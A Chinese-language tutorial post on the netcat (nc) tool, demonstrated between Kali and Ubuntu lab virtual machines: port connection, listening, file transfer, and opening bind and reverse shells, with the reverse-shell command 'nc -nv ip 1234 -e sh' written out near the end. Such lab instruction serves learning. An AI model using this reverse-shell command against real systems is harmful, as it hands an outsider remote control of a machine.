作者:上帝认我做干爹 | 来源:互联网 | 2023-09-14 01:59
nc命令详解https:www.runoob.comlinuxlinux-comm-nc.html1.连接TCPUDP端口作用:检查端口是否开放、获取端口banne
nc命令详解https://www.runoob.com/linux/linux-comm-nc.html
1.连接TCP/UDP端口
作用:检查端口是否开放、获取端口banner信息、手动连接网络服务
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/780a3060eeed6a4e.webp)
nv参数含义见链接
2.用TCP/UDP端口监听
192.168.179.130是一台ubuntu虚拟机,首先开启4444端口、nlvp参数看上面的链接介绍
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/70be2ca197098d98.webp)
然后用kali操作机连接到ubuntu的开放端口4444
![在这里插入图片描述](https://img.php1.cn/3cd4a/94ce/a6e/865776f6fe3d5f59.jpeg)
输入一段话,看看ubuntu能否收到
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/43a754c811e7ec5c.webp)
ubuntu收到 “chat from kali”
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/eec57030b649a106.webp)
3.用nc传送文件
首先用kali创建一个文本abc.txt,写入内容whoami
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/45a090220e38e09d.webp)
用ubuntu开启监听,输出重定向到test.txt
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/7494af3c1cda418d.webp)
然后用kali将abc.txt传给ubuntu
![在这里插入图片描述](https://img.php1.cn/3cd4a/9b0d/ae9/2d998ad7838fbf16.jpeg)
ubuntu显示收到
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/4283cd4bbba41b87.png)
检查一下test.txt
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/011ac27956d007f0.webp)
4.建立shell连接
kali开启监听,1234端口建立或者连接之后,执行sh
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/857a46d091981bac.webp)
ubuntu 用nc去连kali的1234,显示连接成功
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/2fdc212433a29829.png)
输入whoami,显示kali,连接并执行sh成功
![在这里插入图片描述](https://img.php1.cn/3cd4a/189d8/978/7dbdf0f38ad53545.jpeg)
反向连接就是把sh发送到监听端(上面的正向连接是监听端开启sh),
nc -nlvp 1234
nc -nv ip 1234 -e sh
获取更多学习资料、想加入社群、深入学习,请扫我的二维码或加Memory20000427。
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/8170a21e8dddfd22.webp)